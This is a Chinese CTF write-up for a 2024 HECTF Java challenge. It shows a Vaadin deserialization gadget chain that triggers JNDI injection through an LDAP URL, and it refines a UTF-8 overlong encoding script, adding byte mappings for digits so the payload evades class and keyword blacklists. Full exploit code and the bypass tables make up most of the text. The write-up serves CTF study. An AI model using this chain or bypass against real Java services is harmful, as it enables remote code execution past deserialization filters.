从HECTF学习完善一下现有utf8overlong
从2024HECTF学习完善现有的UTF8Overlong绕过脚本

只有一个解
其实我看了两三个小时大致思路就清晰了,然后也向出题人请教了,思路是正确的
但是一直发不出请求
比赛结束后的又调试了一下发现是utf8overlong绕过脚本出了问题,请教了下出题人他说是因为数字的问题
解法
重写了resolveClass
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName().toLowerCase();
    String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "C3P0", "Jackson", "NestedMethodProperty", "TemplatesImpl"};
    String[] var4 = denyClasses;
    int var5 = denyClasses.length;
    for(int var6 = 0; var6 < var5; ++var6) {
        String denyClass = var4[var6].toLowerCase();
        if (className.contains(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }
    return super.resolveClass(desc);
}这里挺严的,pojonode直接不能用了
看下依赖发现vaadin 上网发现存在反序列化链,正好存在toString
但是NestedMethodProperty也在黑名单中,所以只剩下vaadin新链子的jndi注入
但是他还有个黑名单,校验的是Base64解码后的数据

String[] blacklist = new String[]{"BadAttributeValueExpException", "Collections$UnmodifiableList", "PropertysetItem", "AbstractClientConnector", "Enum", "SQLContainer", "LinkedHashMap", "TableQuery", "AbstractTransactionalQuery", "J2EEConnectionPool", "DefaultSQLGenerator"};
明显是校验特征,由于之前听说过utf8overlong绕过,所以这里直接就想到了
问题

然后在反序列化时就会报错

为此就下断点,调试看看是哪里出错了

下在蓝色那一行,然后一直快进,直到sbuf的值为rpcInterface后就抛出异常
解码一下我们的payload

然后就下断点在报错点,看看具体是哪一个值抛出报错

这里就是utf8overlong绕过的原理之处
没调试明白,根据出题人所说是数字原因,我们往utf8overlong脚本中把数字也用2 byte绕过
问了下gpt给出

put('0', new int[]{0xc0, 0x30});
put('1', new int[]{0xc0, 0x31});
put('2', new int[]{0xc0, 0x32});
put('3', new int[]{0xc0, 0x33});
put('4', new int[]{0xc0, 0x34});
put('5', new int[]{0xc0, 0x35});
put('6', new int[]{0xc0, 0x36});
put('7', new int[]{0xc0, 0x37});
put('8', new int[]{0xc0, 0x38});
put('9', new int[]{0xc0, 0x39});然后重复上面的调试方法
就可以发现导致报错的数字


可以看到,b1,b2就是我们填入map中的两个数
也就说明导致报错的原因是因为49(即0x31)也就是数字1

解决问题
首先经过测试我们能够发现b2的0x后十位上的数字每增加4,结果是相同的
b2为0x31和0x71的结果相同,类推0xb1也相同


然后把他们与0xc0的结果打印出来

发现0xb1满足我们的需求
所以更新数据即可
put('0', new int[]{0xc0, 0xb0});
put('1', new int[]{0xc0, 0xb1});
put('2', new int[]{0xc0, 0xb2});
put('3', new int[]{0xc0, 0xb3});
put('4', new int[]{0xc0, 0xb4});
put('5', new int[]{0xc0, 0xb5});
put('6', new int[]{0xc0, 0xb6});
put('7', new int[]{0xc0, 0xb7});
put('8', new int[]{0xc0, 0xb8});
put('9', new int[]{0xc0, 0xb9});然后就能正常反序列化了
复现
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Base64;
public class Vaddin {
    public static void main(String[] args) throws SQLException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException {
        J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("ldap://xxxxxx");
        Class<?>  table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
        TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);
        setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
        setSuperValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
        setSuperValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());
        Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
        sql.setAccessible(true);
        SQLContainer sqlContainer=sql.newInstance();
        setSuperValue(sqlContainer,"queryDelegate",tableQuery);
        NativeSelect nativeSelect=new NativeSelect();
        RowId rowId=new RowId(new RowId("a"));
        setSuperValue(nativeSelect,"value",rowId);
        setSuperValue(nativeSelect,"items",sqlContainer);
        setSuperValue(nativeSelect,"multiSelect",true);
        PropertysetItem pItem=new PropertysetItem();
        pItem.addItemProperty("test",nativeSelect);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setSuperValue(badAttributeValueExpException,"val",pItem);
        byte[] bytes=serialize(badAttributeValueExpException);
        String s = Base64.getEncoder().encodeToString(bytes);
        System.out.println(s);
        byte[] decode = Base64.getDecoder().decode(s);
        unserialize(decode);
    }
    public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
//        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        ObjectOutputStream objectOutputStream=new UTF8OverlongObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
    }
    public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
        constructor.setAccessible(true);
        return (T) constructor.newInstance(consArgs);
    }
    public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method method=object.getClass().getDeclaredMethod(name);
        method.setAccessible(true);
        method.invoke(object);
        return object;
    }
    public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(object,value);
    }
    public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=getField(object.getClass(),name);
        field.setAccessible(true);
        field.set(object,value);
    }
    private static Field getField(Class<?> clazz, String fieldName) {
        while (clazz != null) {
            try {
                return clazz.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}


其他
在找utf8overlong脚本时也发现个UTF8BytesMix脚本,看了下也能进行混淆

byte[] mixBytes = new UTF8BytesMix(bytes).builder();
String s = Base64.getEncoder().encodeToString(mixBytes);
System.out.println(s);
byte[] decode = Base64.getDecoder().decode(s);
unserialize(decode);纠正上面说的问题出现的原因
发布文章后觉得问题出现原因不太对,因为毕竟49报错是因为我自己赋值的原因。。所以添加一段纠错说明
还是实实在在地跟进看看

这里一直跟进到报错,最后一个数是-92
Integer.toHexString(-92&0xff)
然后010去找a4(当然知道-92是最后一个数,我们也可以把前面的数一步一步转换,得到报错前的具体位置

在蓝标这里
此时的cbuf为com.vaadin.ui.NativeSelect$
然后一步一步走,就会发现读取了单个字符88(即0x58,也就是X

然后继续读取2 byte,但是246(即F6,无法解析抛出异常


010对比一下能否成功的两个文件

发现区别在于C0 B1,即我们手动写入的数字1
看看原生序列化的结果

就应该有1
网上的utf8脚本无法成功就是因为序列化时数字没有被成功写入
当我们把数字也加入后,再次调试就会发现读取了1后就返回,不再读取,就遇不到F6的错误
